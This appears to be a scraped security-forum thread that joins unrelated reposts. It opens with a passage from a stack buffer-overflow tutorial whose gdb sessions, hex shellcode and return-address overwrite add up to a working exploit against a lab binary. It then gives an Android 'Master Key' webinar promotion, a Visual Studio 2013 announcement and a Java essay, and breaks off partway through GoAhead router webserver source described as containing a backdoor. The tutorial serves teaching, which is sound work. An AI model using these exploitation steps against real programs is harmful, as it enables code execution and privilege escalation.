in ?? ()(gdb) i reax 0x0 0ecx 0x20 32edx 0x5 5ebx 0x2c3ff4 2899956esp 0xbffff5f0 0xbffff5f0ebp 0x41414141 0x41414141esi 0x0 0edi 0x0 0eip 0x41414141 0x41414141eflags 0x10216 [ PF AF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51 As we can see we have overshot the mark and now eip is overwritten with A's. We continue this process until we can narrow in on a way to place the B's over the eip like so: (gdb) shell$ python -c 'print "A"*250 + "B"*4 + "C"*102' > input$ exitexit(gdb) run blame < inputThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/justin/blame blame < inputProgram received signal SIGSEGV, Segmentation fault.0x43434343 in ?? ()(gdb) shell$ python -c 'print "A"*270 + "B"*4 + "C"*82' > input$ exitexit(gdb) run blame < inputThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/justin/blame blame < inputProgram received signal SIGSEGV, Segmentation fault.0x42424141 in ?? () And now you can see I've managed to get a couple of B's (ASCII 42) into the eip so that I now know that to overwrite the eip with B's I need 268 A's first, then my B's then 84 C's. (gdb) shell$ python -c 'print "A"*268 + "B"*4 + "C"*84' > input$ exitexit(gdb) run blame < inputThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/justin/blame blame < input Program received signal SIGSEGV, Segmentation fault.0x42424242 in ?? ()(gdb) i reax 0x0 0ecx 0x20 32edx 0x5 5ebx 0x2c3ff4 2899956esp 0xbffff5f0 0xbffff5f0ebp 0x41414141 0x41414141esi 0x0 0edi 0x0 0eip 0x42424242 0x42424242eflags 0x10216 [ PF AF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51 And viola, now I have the exact boundaries of my exploit! Now, let's add our shellcode (which is 54 bytes long) to the end, replacing the 84 C characters and using a NOP sled at the beginning. We can then use gdb to examine the actual contents of the stack, in this case looking at the 256 bytes that come after the esp and check to ensure that our shell code is actually there: (gdb) shell$ python -c 'print "A"*268 + "B"*4 + "\x90"*30 + "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x18\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x6e\x6f\x77\x20\x49\x20\x70\x30\x77\x6e\x20\x79\x6f\x75\x72\x20\x63\x6f\x6d\x70\x75\x74\x65\x72"' > input$ exitexit(gdb) run blame < inputThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/justin/blame blame < input Program received signal SIGSEGV, Segmentation fault.0x42424242 in ?? ()(gdb) i reax 0x0 0ecx 0x20 32edx 0x1 1ebx 0x2c3ff4 2899956esp 0xbffff5f0 0xbffff5f0ebp 0x41414141 0x41414141esi 0x0 0edi 0x0 0eip 0x42424242 0x42424242eflags 0x10216 [ PF AF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51(gdb) x/256xb $esp0xbffff5f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff5f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff600: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff608: 0x90 0x90 0x90 0x90 0x90 0x90 0xeb 0x190xbffff610: 0x31 0xc0 0x31 0xdb 0x31 0xd2 0x31 0xc90xbffff618: 0xb0 0x04 0xb3 0x01 0x59 0xb2 0x18 0xcd0xbffff620: 0x80 0x31 0xc0 0xb0 0x01 0x31 0xdb 0xcd0xbffff628: 0x80 0xe8 0xe2 0xff 0xff 0xff 0x6e 0x6f0xbffff630: 0x77 0x20 0x49 0x20 0x70 0x30 0x77 0x6e0xbffff638: 0x20 0x79 0x6f 0x75 0x72 0x20 0x63 0x6f0xbffff640: 0x6d 0x70 0x75 0x74 0x65 0x72 0x0a 0x000xbffff648: 0x02 0x00 0x00 0x00 0x70 0x83 0x04 0x080xbffff650: 0x00 0x00 0x00 0x00 0x20 0x4d 0x12 0x000xbffff658: 0x0b 0xcc 0x14 0x00 0xc4 0xef 0x12 0x000xbffff660: 0x02 0x00 0x00 0x00 0x70 0x83 0x04 0x080xbffff668: 0x00 0x00 0x00 0x00 0x91 0x83 0x04 0x080xbffff670: 0x8d 0x84 0x04 0x08 0x02 0x00 0x00 0x000xbffff678: 0x94 0xf6 0xff 0xbf 0xf0 0x84 0x04 0x080xbffff680: 0xe0 0x84 0x04 0x08 0xa0 0xf4 0x11 0x000xbffff688: 0x8c 0xf6 0xff 0xbf 0x00 0x00 0x00 0x000xbffff690: 0x02 0x00 0x00 0x00 0xc0 0xf7 0xff 0xbf0xbffff698: 0xd3 0xf7 0xff 0xbf 0x00 0x00 0x00 0x000xbffff6a0: 0xd9 0xf7 0xff 0xbf 0xf8 0xf7 0xff 0xbf0xbffff6a8: 0x08 0xf8 0xff 0xbf 0x1c 0xf8 0xff 0xbf0xbffff6b0: 0x2a 0xf8 0xff 0xbf 0x4b 0xf8 0xff 0xbf0xbffff6b8: 0x5e 0xf8 0xff 0xbf 0x6a 0xf8 0xff 0xbf0xbffff6c0: 0x77 0xfe 0xff 0xbf 0x83 0xfe 0xff 0xbf0xbffff6c8: 0xd6 0xfe 0xff 0xbf 0xf2 0xfe 0xff 0xbf0xbffff6d0: 0x01 0xff 0xff 0xbf 0x12 0xff 0xff 0xbf0xbffff6d8: 0x26 0xff 0xff 0xbf 0x37 0xff 0xff 0xbf0xbffff6e0: 0x40 0xff 0xff 0xbf 0x57 0xff 0xff 0xbf0xbffff6e8: 0x69 0xff 0xff 0xbf 0x71 0xff 0xff 0xbf You can see our shell code neatly nestled in between two NOP sleds. Let's choose an arbitrary memory address in the preceeding NOP sled to use as our target, say 0xbffff5f8. Instead of overwriting the eip with B's we'll instead overwrite the eip with our target address, which should land code execution in the middle of the NOP sled, then proceed down to our shell code. Due to the vagaries of low level architecture, we have to rewrite this address in little endian format (if you overlook this then your address won't work), so it becomes: \xf8\xf5\xff\xbf Now, lets plug this value in for the "BBBB" part in our payload and test it out: (gdb) shell$ python -c 'print "A"*268 + "\xf8\xf5\xff\xbf" + "\x90"*30 + "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x18\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x6e\x6f\x77\x20\x49\x20\x70\x30\x77\x6e\x20\x79\x6f\x75\x72\x20\x63\x6f\x6d\x70\x75\x74\x65\x72"' > input[justin@localhost ~]$ exitexit(gdb) run blame < inputThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/justin/blame blame < inputnow I p0wn your computerProgram exited normally. And there you have it. Now, at this point the payload will only work in the gdb environment. In order to get it working in the wild we'll have to be a little more creative. [h=4]Release the 'Sploit[/h] Now that we've got our shellcode injection and buffer overflow working inside gdb it's time to turn our attention to use of the exploit in the wild. Although our exploit works inside a debugging environment, you might be surprised to learn that it won't actually work at the command line. You can test this like so: $ python -c 'print "A"*268 + "\xf8\xf5\xff\xbf" + "\x90"*30 + "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x18\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x6e\x6f\x77\x20\x49\x20\x70\x30\x77\x6e\x20\x79\x6f\x75\x72\x20\x63\x6f\x6d\x70\x75\x74\x65\x72"' | ./blameIllegal instruction This is odd since the overflow worked perfectly inside of our debugger. There are a couple of reasons for this. The first is due to the debugger itself, which, when run, actually uses up memory addresses on it's own, and pushes off the address of the blame program. This makes sense as we are using the debugger to observe and report on the operation of blame, gdb itself must first be loaded into memory. The second reason that the exploit won't work involves the way that memory is abstracted for programs to use. Your computer has a whole bunch of memory, probably gigabytes. Although each program gets an allocation of this total memory when it runs, the kernel actually makes the memory appear as though it is solely for the use of a particular program. In other words, the kernel lies to the program. When a program starts up the kernel recognizes the program and reports to the program that it has pretty much all the memory it wants: Oh sure blame, here's 8 GB of memory, have at it! In reality the blame program only gets a small fraction of the total memory. In addition to the lie that the kernel tells programs about how much memory they have, the kernel also does something that is actually designed for convenience. In order to make it easier for programs to run, and access memory, the kernel actually tells programs that not only do they get all the memory that they want, but that they are running at the very bottom of the memory space, and can use all the upward space they want. As we saw before, we're overwriting a memory address around 0xbffff5f8, which is very close to the top of the memory space at 0xffffffff. Our program thinks it has all the memory it wants! In order to make our exploit work in the wild we're going to have to be a little more careful about how we overflow the buffer. In our work with gdb we were smashing through the allocated 256 byte buffer, over the return pointer, and off into the the rest of program memory. We were loading our exploit code into another stack frame entirely, which didn't much matter in our gdb exploit, but it was pretty sloppy. A better strategy would have been to write our NOP sled at the start of our input buffer, place the exploit code next, and use the final four bytes to overwrite the pointer. This would reduce the overall size of our exploit to the 212 byte NOP sled, the 56 bytes of instructions, and a 4 byte overwrite (for a total of 272 bytes. Although this makes a smaller, and neater, exploit it still leaves us the problem of finding an address location in our NOP sled. In order to inspect a typical stack layout we can use a simple program, that allocates some stack space, and then reports on the memory location of that space. Copy in the following program to do just that: /**** show_sp.c ****/#include <stdio.h> int main(void) { char buffer[256]; char buffer2[6]; printf("First var: 0x%x\n", &buffer); printf("Next var: 0x%x\n", &buffer2); return 0; } You'll note that by listing the variable name with an ampersand preceding it the output will contain the address of the start of the variable rather than the contents of the variable (its value). Using these two values we can gauge where in memory we will need to point our exploit payload towards. Compile and run this program to get a better idea of what the address space we're looking for will resemble: $ gcc -fno-stack-protector -z execstack -o show_sp show_sp.c [justin@localhost ~]$ ./show_sp First var: 0xbffff520 Next var: 0xbffff51a These address spaces look fairly familiar. Let's try using the First var value for our instruction pointer: $ python -c 'print "\x90"*212 + "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x18\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x6e\x6f\x77\x20\x49\x20\x70\x30\x77\x6e\x20\x79\x6f\x75\x72\x20\x63\x6f\x6d\x70\x75\x74\x65\x72"' | ./blame now I p0wn your computer And the exploit works! Now, this program (and the injected shellcode) was pretty benign, but if we were to change the shellcode to do something more malicious, or if the program had been a suid program (set to run as another user, typically root) then we could have leveraged the privilege escalation to do all sorts of things. [h=4]Sources and Recommended Reading:[/h] Smashing The Stack For Fun And Profit by Aleph One (Phrack 49 - 14) Writing buffer overflow exploits - a tutorial for beginners by Mixter Shellcoding for Linux and Windows Tutorial by steve hanna Metasploit Framework Web Console Buffer Overflow Tutorial by Preddy - RootShell Security Group How Shellcodes Work by by Peter Mikhalenko (5/18/2006) Buffer Overflows Demystified by Murat Balaban Introduction to Buffer Overflow by Ghost_Rider Linux Assembly Memory Layout and the Stack By Peter Jay Salzman Copyright © Justin C. Klein Keane. Unauthorized reproduction is a violation of US and international law. Articol complet: Mad Irish :: Writing Buffer Overflows
-
[h=1]Learn about the “Master Key” vulnerability![/h] By Henry Dalziel Information Security Blogger Inside the Concise Courses bat cave, three of us have Droids and two have iPhones. The iPhone carriers are the arty ones, whilst the nerds have Droids! If you are interested in mobile phone security with particular reference to the Android “Master Key” vulnerability then you must get yourself registered to watch an amazing Hacker Hotshot web show with Jeff Forristal titled: “Android: One Root To Own Them All.” Jeff, will be our 109th Hacker Hotshot Expert Speaker, and by our reckoning, our 5th cell-phone/ mobile/ android related presenter, and we are delighted to welcome him to the show – particularly because of his experience and knowledge. Quick look at the what the Android “Master Key” vulnerability is/ was: This was a major discovery and discovered by Jeff and his team over at Bluebox Labs. In short, and Jeff will likely further expand on this, the Android vulnerability allows a hacker to maliciously modify the APK code without changing the application’s cryptographic signature. The end result is potentially malicious Trojans that go completely unnoticed within the app store, the phone, or the end user! The implications are enormous of course! This vulnerability, according to research by Jeff’s team, could affect any Android phone released over the last four years which represents over 900 million devices. Android Malware is a serious problem and for a long time went relatively unnoticed. In fact, we recently spoke about this with Gary Warner from Malcovery when he presented: “Malware, Phishing: the Need for Intelligent Response”. One of the questions at the end stated that the Juniper Mobile Threat Center team released a report regarding Mobile Malware, which concluded that it had grown a staggering 600% between 2012 and 2013 – and that it had specifically targeted Android. In this much anticipated Hacker Hotshot web show Jeff will discuss and provide us with: A follow-up to the Android Master-Key vulnerability, and how things look three months later. Statistics and things learned since the public release of the vulnerability information. About Jeff Forristal As CTO at Bluebox, Jeff is the global expert on the Android Master-Key Vulnerability and is a hugely respected information security professional. Jeff’s experience is broad and deep as a result of having been a security technology professional in the industry for over a decade. His professional background includes all things security, spanning across software, hardware, operations/IT, and physical access control. Jeff has written many features and cover-story articles for magazines such as Network Computing and Secure Enterprise and he’s a contributing author to various industry specific books. Under the pseudonym “Rain Forest Puppy,” Jeff is a highly regarded industry expert in web application security and was responsible for the first documented security discovery of SQL injection! If that wasn’t enough he also authored the RFPolicy which is basically a protocol that suggests that researchers contact vendors about security vulnerabilities that they find in their products. The policy gives the vendor five working days to reply and react to the reporter of the bug, thereafter the researcher can disclose the vulnerability. (Side note – if you have an interest in the RFPolicy you ought to take a look at another web show we had with Marcia Hoffman when she worked for the EFF titled: “Legal Issues in Mobile Security Research” which covers a lot of similar ground as the RFPolicy). In Summary Android usage is growing at a rapid pace and understandably many people are interested in this major vulnerability. This is a superb event to attend if you want to learn more about the state of Android security, especially coming from such a qualified expert. We must mention here that if you are interested in mobile security then you must take a look at the Drozer Andriod security testing tool – which was another excellent Hacker Hotshot talk we had last week with Daniel Bradberry. Here are some other Andriod related talks we have either had, or that are upcoming. Domingo Guerra: Status of App (in)Security, a look at common risky behaviors in the top 400 iOS and Android Apps B0b Pan: APK File Infection on Android System Josh Thomas: Off-Grid Communications with Android Georgia Weidman: Smartphone Penetration Testing Framework Not much more to say but – register! Let us know your thoughts regarding Andriod Security. Will it get better? How do you see the future? We’d love to have your comments below. Sursa: Intrested in Android Security? Learn about the "Master Key" vulnerability!
-
Visual Studio 2013 available for download S.Somasegar 17 Oct 2013 4:00 AM I’m excited to announce that the final releases of Visual Studio 2013, .NET 4.5.1, and Team Foundation Server 2013 are now available for download! MSDN subscribers can download from the MSDN Subscriber Downloads page. Visual Studio 2013 is the best tool for developers and teams to build and deliver modern, connected applications on all of Microsoft’s platforms. From Windows Azure and SQL Server to Windows 8.1 and Windows Phone 8, Visual Studio 2013 supports the breadth of Microsoft’s developer platforms. As part of the Cloud OS vision, Visual Studio 2013 enables developers to build modern business applications that take advantage of the cloud and target a variety of devices and end-user experiences, all delivered within today’s rapid and dynamic application lifecycles. There are great new features and capabilities in Visual Studio 2013 for every developer, including innovative editor enhancements such as Peek and CodeLens, diagnostics tools for UI responsiveness and energy consumption, major updates for ASP.NET web development, expanded ALM capabilities with Git support and agile portfolio management, and much, much more. Check out what’s new with Visual Studio 2013 for details. Today’s release of Visual Studio 2013 supports development of great Windows Store applications for Windows 8.1, which is also available for download today. On November 13th, we’re excited to be hosting the Visual Studio 2013 launch. At launch, we’ll be highlighting the breadth and depth of new features and capabilities in the Visual Studio 2013 release. Save the date, download Visual Studio 2013, and we’ll see you on November 13th. Namaste! Sursa: Visual Studio 2013 available for download - Somasegar's blog - Site Home - MSDN Blogs
-
The argument for Java October 18, 2013 | By Rafe There’s a lot to hate about Cade Metz’s article on server-side Java from last month’s Wired magazine. For one thing, Java has been more successful on the server than on the client for at least 15 years. The fact that you can use it to build large-scale Web applications is not news, nor is the fact that the JVM is a great host for languages other than Java. That said, the tradeoffs that go into choosing a software development platform are interesting. The Wired article is mostly concerned with scaling at levels that are unrealistic for nearly anyone to plan for. And indeed, platform is only a small part of the scaling discussion. I’m sure that most of the software written for Healthcare.gov was written in Java, and it didn’t solve any of the problems that are endemic to that sort of project (about which more some other time). In the early stages, any Web company should focus almost solely on developer productivity. The hard part is building software people want to use, and iterating rapidly on your ideas. (I think everybody already knows this.) You’ll probably have rewritten everything by the time you even start to approach scaling issues of the kind face by companies like Pinterest or Twitter, to say nothing of the really big companies like Facebook and Google. Just choose whatever helps you build software as efficiently as possible. If it were up to me, though, I’d build software using a JVM-based language, for reasons that the Wired article doesn’t really get into. The fact that Java and the JVM are heavily used at big companies like Google and a lot of others that are significantly more boring means that the platform will continue to grow and evolve. In that sense, it’s an incredibly safe choice. Java also has an incredibly robust open source ecosystem, and mature libraries for almost everything. Non-Java languages that run on the JVM can make use of these libraries as well. One of the first things Java developers notice when they move to non-Java platforms is that the key libraries that you take for granted tend to be immature or completely missing. Another key advantage is that the world of Big Data is built to a huge degree on Java. Hadoop is written in Java, as are most Hadoop jobs. Storm, Hadoop’s realtime processing cousin, is also written in Java. One key advantage here is that if you’re already writing your software in Java or some other JVM-based language, you can transfer those skills to start writing Hadoop jobs. More importantly, you can share library code between your standard software and your Big Data jobs. This can be a huge advantage. Again, in the early stages of a company, your “Big Data” can probably easily be processed using R or Python and you won’t need Hadoop at all, but you probably will eventually. Finally, all businesses eventually have to integrate with “enterprise” software to some degree. Maybe you’re experimenting with the Community Edition of Vertica for data warehousing, or your HR department has purchased some special software for managing benefits. The bottom line here is that every enterprise software package integrates Java (and Microsoft) first. In many cases, those are the only options for integration. If you’re not on one of those platforms, you’re stuck with awful things like Unix ODBC implementations. This isn’t reason enough to choose Java on its own, but it’s something you get for free. The truth is that every company of significant size is going to find their way to supporting some JVM-based software eventually. Maybe they’re running Hadoop, or they use Solr for search, or Cassandra as a data store. Why resist? There are a lot of other plusses as well. There are lots of developers out there who know Java. The Java development tools are very mature. Write once/run anywhere was always overstated, but it’s still very easy to write Java software on OS X or Windows, and then deploy it and run it on Unix servers without any tweaks. Because Java is so heavily used by big companies, API stability over time is valued, so you don’t often have to do much work to upgrade to newer versions of the JVM when they arrive. There are great arguments to be made for all of the other popular platforms. I’ve built software using PHP, Ruby on Rails, Python and Django, and plenty of other languages and libraries, and they all have real strengths. However, I think that the advantages of betting on the JVM outweigh the alternatives in most cases. Sursa: The argument for Java | rc3.org
-
goahead.c Pentru cei care nu stiu, e webserverul folosit de routerele Tenda care contine un backdoor. "From China, with love". /* vi: set sw=4 ts=4 sts=4: *//* * main.c -- Main program for the GoAhead WebServer (LINUX version) * * Copyright © GoAhead Software Inc., 1995-2000. All Rights Reserved. * * See the file "license.txt" for usage and redistribution license requirements * * $Id: goahead.c,v 1.100.2.4 2009-04-08 08:52:59 chhung Exp $ */ /******************************** Description *********************************/ /* * Main program for for the GoAhead WebServer. This is a demonstration * main program to initialize and configure the web server. */ /********************************* Includes ***********************************/ #include "uemf.h" #include "wsIntrn.h" #include "nvram.h" #include "ralink_gpio.h" #include "internet.h" #if defined INIC_SUPPORT || defined INICv2_SUPPORT #include "inic.h" #endif #if defined (CONFIG_RT2561_AP) || defined (CONFIG_RT2561_AP_MODULE) #include "legacy.h" #endif #include "utils.h" #include "wireless.h" #include "firewall.h" #include "management.h" #include "station.h" #include "usb.h" #include "media.h" #include <signal.h> #include <unistd.h> #include <sys/types.h> #include <sys/wait.h> #include "linux/autoconf.h" #include "config/autoconf.h" //user config #include <pthread.h> #ifdef CONFIG_RALINKAPP_SWQOS #include "qos.h" #endif #ifdef WEBS_SSL_SUPPORT #include "websSSL.h" #endif #include "vpn.h" #include "dtu_action.h" #include "msg_action.h" #include "sr_action.h" #include "linkbackup_action.h" #include "reboot_action.h" #include "pptp_action.h" #include "l2tp_action.h" #include "vrrp_action.h" #include "gps_action.h" #include "snmp_action.h" #ifdef USER_MANAGEMENT_SUPPORT #include "um.h" void formDefineUserMgmt(void); #endif /*********************************** Locals ***********************************/ /* * Change configuration here */ static char_t *rootWeb = T("/etc_ro/web"); /* Root web directory */ static char_t *password = T(""); /* Security password */ static int port = 80; /* Server port */ static int retries = 5; /* Server port retries */ static int finished; /* Finished flag */ static char_t *gopid = T("/var/run/goahead.pid"); /* pid file */ /****************************** Forward Declarations **************************/ static int writeGoPid(void); static int initSystem(void); static int initWebs(void); static int websHomePageHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg, char_t *url, char_t *path, char_t *query); extern void defaultErrorHandler(int etype, char_t *msg); extern void defaultTraceHandler(int level, char_t *buf); extern void ripdRestart(void); #ifdef B_STATS static void printMemStats(int handle, char_t *fmt, ...); static void memLeaks(); #endif extern void WPSAPPBCStartAll(void); extern void WPSSingleTriggerHandler(int); #if defined CONFIG_USB extern void hotPluglerHandler(int); #endif #ifdef CONFIG_RT2860V2_STA_WSC extern void WPSSTAPBCStartEnr(void); #endif #ifdef CONFIG_DUAL_IMAGE static int set_stable_flag(void); #endif void initDeviceName() { char*pdev; char *buf; char szBuf[128]; pdev = nvram_bufget(RT2860_NVRAM, "wan_3g_dev"); if((strcmp(pdev, "HUAWEI-EM560") == 0) || (strcmp(pdev, "F3607gw") == 0)) { // stream=popen("3GInfo -d /dev/ttyACM2 -s","r"); //stream=popen("comgt -d /dev/ttyACM2 -s /etc_ro/ppp/3g/signal.scr","r"); buf = "/dev/ttyACM2"; } else if(strcmp(pdev, "HUAWEI-EM660") == 0) { buf = "/dev/ttyUSB2"; } else if(strcmp(pdev, "IE901D") == 0) { buf = "/dev/ttyUSB1"; } else if(strcmp(pdev, "HUAWEI-EM770") == 0) { buf = "/dev/ttyUSB2"; } else if(strcmp(pdev,"THINKWILL-MI600")==0) { //stream=popen("comgt -d /dev/ttyUSB4 -s /etc_ro/ppp/3g/signal.scr","r"); buf = "/dev/ttyUSB4"; //-m signal range } else if(strcmp(pdev,"SYNCWISER-801/401")==0) { buf = "/dev/ttyUSB2"; //-m signal range } else if(strcmp(pdev,"LONGSUNG-C5300")==0) { buf = "/dev/ttyUSB3"; //-m signal range } else if(strcmp(pdev,"LONGSUNG-U6300/U5300")==0) { buf = "/dev/ttyUSB1"; //-m signal range } else if(strcmp(pdev,"GAORAN-280")==0) { buf = "/dev/ttyUSB3"; //-m signal range } else if(strcmp(pdev,"TW-W1M100")==0) { buf = "/dev/ttyUSB1"; //-m signal range } else if(strcmp(pdev,"ZTE-MU301")==0) { buf = "/dev/ttyUSB2"; //-m signal range } else if(strcmp(pdev,"ZTE-MF210V")==0) { //stream=popen("3GInfo -d /dev/ttyUSB2 -m 0-31 ","r"); //-m signal range MF210V buf = "/dev/ttyUSB1"; //-m signal range MF210 } else if(strcmp(pdev,"KSE-360")==0) { buf = "/dev/ttyUSB1"; //-m signal range } else if(strcmp(pdev,"ZX-600")==0) { buf = "/dev/ttyUSB2"; //-m signal range } else if(strcmp(pdev,"SIERRA-MC8785")==0) { buf = "/dev/ttyUSB6"; //-m signal range } else if(strcmp(pdev,"AD3812")==0) { buf = "/dev/ttyUSB0"; //-m signal range } else { buf = "/dev/ttyUSB2"; } system("rm -f /dev/yh"); sprintf(szBuf, "ln -s %s /dev/yh", buf); system(szBuf); sprintf(szBuf, "%s/mklink.sh", rootWeb); system(szBuf); } void check_vpn() { static time_t last =0; time_t now; char *rules; time(&now); // check vpn every 30 secs if(now - last >= 30) { last = now; } else { return; } rules = nvram_bufget(RT2860_NVRAM, "IPSECRules"); if(rules && (strstr(rules,"|1|") != NULL)) { char if_addr[32]; //@TODO: temp use ppp0 as the default 3g interface name if( getIfIp("ppp0", if_addr) != 0) { // 3g is down return; } } else { // ipsec is disabled return; } // check the ping_any.sh, if it is not started, start it if(system("ps>/var/check_thread.log && cat /var/check_thread.log|grep \"ping_any\"") != 0)//is not found. { system("ping_any.sh&"); } } /*********************************** Code *************************************/ /* * Main -- entry point from LINUX */ void InitMfgTask(); int main(int argc, char** argv) { int wdt_fd = -1; wdt_fd = open("/dev/watchdog", O_WRONLY); if (wdt_fd == -1) { // fail to open watchdog device printf("can not open watchdog!!!!!!!!!!!!!!1\n"); exit(1); } /* * Initialize the memory allocator. Allow use of malloc and start * with a 60K heap. For each page request approx 8KB is allocated. * 60KB allows for several concurrent page requests. If more space * is required, malloc will be used for the overflow. */ bopen(NULL, (60 * 1024), B_USE_MALLOC); signal(SIGPIPE, SIG_IGN); if (writeGoPid() < 0) return -1; if (initSystem() < 0) return -1; initDeviceName(); /* * Initialize the web server */ if (initWebs() < 0) { return -1; } #ifdef CONFIG_DUAL_IMAGE /* Set stable flag after the web server is started */ set_stable_flag(); #endif #ifdef WEBS_SSL_SUPPORT websSSLOpen(); #endif /* * Basic event loop. SocketReady returns true when a socket is ready for * service. SocketSelect will block until an event occurs. SocketProcess * will actually do the servicing. */ InitMfgTask(); while (!finished) { if (socketReady(-1) || socketSelect(-1, 1000)) { socketProcess(-1); } if (wdt_fd != -1) write(wdt_fd, "a", 1); check_vpn(); websCgiCleanup(); emfSchedProcess(); } #ifdef WEBS_SSL_SUPPORT websSSLClose(); #endif #ifdef USER_MANAGEMENT_SUPPORT umClose(); #endif /* * Close the socket module, report memory leaks and close the memory allocator */ websCloseServer(); socketClose(); #ifdef B_STATS memLeaks(); #endif bclose(); return 0; } /******************************************************************************/ /* * Write pid to the pid file */ int writeGoPid(void) { FILE *fp; fp = fopen(gopid, "w+"); if (NULL == fp) { error(E_L, E_LOG, T("goahead.c: cannot open pid file")); return (-1); } fprintf(fp, "%d", getpid()); fclose(fp); return 0; } static void goaSigHandler(int signum) { #ifdef CONFIG_RT2860V2_STA_WSC char *opmode = nvram_bufget(RT2860_NVRAM, "OperationMode"); char *ethCon = nvram_bufget(RT2860_NVRAM, "ethConvert"); #endif if (signum != SIGUSR1) return; #ifdef CONFIG_RT2860V2_STA_WSC if(!strcmp(opmode, "2") || (!strcmp(opmode, "0") && !strcmp(ethCon, "1") ) ) // wireless isp mode WPSSTAPBCStartEnr(); // STA WPS default is "Enrollee mode". else #endif WPSAPPBCStartAll(); } #ifndef CONFIG_RALINK_RT2880 static void goaInitGpio() { int fd; ralink_gpio_reg_info info; fd = open("/dev/gpio", O_RDONLY); if (fd < 0) { perror("/dev/gpio"); return; } //set gpio direction to input if (ioctl(fd, RALINK_GPIO_SET_DIR_IN, RALINK_GPIO(0)) < 0) goto ioctl_err; //enable gpio interrupt if (ioctl(fd, RALINK_GPIO_ENABLE_INTP) < 0) goto ioctl_err; //register my information info.pid = getpid(); info.irq = 0; if (ioctl(fd, RALINK_GPIO_REG_IRQ, &info) < 0) goto ioctl_err; close(fd); //issue a handler to handle SIGUSR1 signal(SIGUSR1, goaSigHandler); return; ioctl_err: perror("ioctl"); close(fd); return; } #endif static void dhcpcHandler(int signum) { ripdRestart(); } /******************************************************************************/ /* * Initialize System Parameters */ static int initSystem(void) { int setDefault(void); signal(SIGUSR2, dhcpcHandler); if (setDefault() < 0) return (-1); if (initInternet() < 0) return (-1); #if defined CONFIG_USB signal(SIGTTIN, hotPluglerHandler); hotPluglerHandler(SIGTTIN); #endif #ifdef CONFIG_RALINK_RT2880 signal(SIGUSR1, goaSigHandler); #else //goaInitGpio(); signal(SIGUSR1, goaSigHandler); //receive wpsledpbc SIGUSR1 from wps key #endif signal(SIGXFSZ, WPSSingleTriggerHandler); return 0; } /******************************************************************************/ /* * Set Default should be done by nvram_daemon. * We check the pid file's existence. */ int setDefault(void) { FILE *fp; int i; //retry 15 times (15 seconds) for (i = 0; i < 15; i++) { fp = fopen("/var/run/nvramd.pid", "r"); if (fp == NULL) { if (i == 0) trace(0, T("goahead: waiting for nvram_daemon ")); else trace(0, T(". ")); } else { fclose(fp); nvram_init(RT2860_NVRAM); #if defined INIC_SUPPORT || defined INICv2_SUPPORT nvram_init(RTINIC_NVRAM); #endif #if defined (CONFIG_RT2561_AP) || defined (CONFIG_RT2561_AP_MODULE) nvram_init(RT2561_NVRAM); #endif return 0; } Sleep(1); } error(E_L, E_LOG, T("goahead: please execute nvram_daemon first!")); return (-1); } /******************************************************************************/ /* * Initialize the web server. */ static int initWebs(void) { struct in_addr intaddr; #ifdef GA_HOSTNAME_SUPPORT struct hostent *hp; char host[128]; #else char *lan_ip = nvram_bufget(RT2860_NVRAM, "lan_ipaddr"); #endif char webdir[128]; char *cp; char_t wbuf[128]; /* * Initialize the socket subsystem */ socketOpen(); #ifdef USER_MANAGEMENT_SUPPORT /* * Initialize the User Management database */ char *admu = nvram_bufget(RT2860_NVRAM, "Login"); char *admp = nvram_bufget(RT2860_NVRAM, "Password"); umOpen(); //umRestore(T("umconfig.txt")); //winfred: instead of using umconfig.txt, we create 'the one' adm defined in nvram umAddGroup(T("adm"), 0x07, AM_DIGEST, FALSE, FALSE); if (admu && strcmp(admu, "") && admp && strcmp(admp, "")) { umAddUser(admu, admp, T("adm"), FALSE, FALSE); umAddAccessLimit(T("/"), AM_DIGEST, FALSE, T("adm")); } else error(E_L, E_LOG, T("gohead.c: Warning: empty administrator account or password")); #endif #ifdef GA_HOSTNAME_SUPPORT /* * Define the local Ip address, host name, default home page and the * root web directory. */ if (gethostname(host, sizeof(host)) < 0) { error(E_L, E_LOG, T("gohead.c: Can't get hostname")); return -1; } if ((hp = gethostbyname(host)) == NULL) { error(E_L, E_LOG, T("gohead.c: Can't get host address")); return -1; } memcpy((char *) &intaddr, (char *) hp->h_addr_list[0], (size_t) hp->h_length); #else /* * get ip address from nvram configuration (we executed initInternet) */ if (NULL == lan_ip) { error(E_L, E_LOG, T("initWebs: cannot find lan_ip in NVRAM")); return -1; } intaddr.s_addr = inet_addr("0.0.0.0"); if (intaddr.s_addr == INADDR_NONE) { error(E_L, E_LOG, T("initWebs: failed to convert %s to binary ip data"), lan_ip); return -1; } #endif /* * Set rootWeb as the root web. Modify this to suit your needs */ sprintf(webdir, "%s", rootWeb); /* * Configure the web server options before opening the web server */ websSetDefaultDir(webdir); cp = inet_ntoa(intaddr); ascToUni(wbuf, cp, min(strlen(cp) + 1, sizeof(wbuf))); websSetIpaddr(wbuf); #ifdef 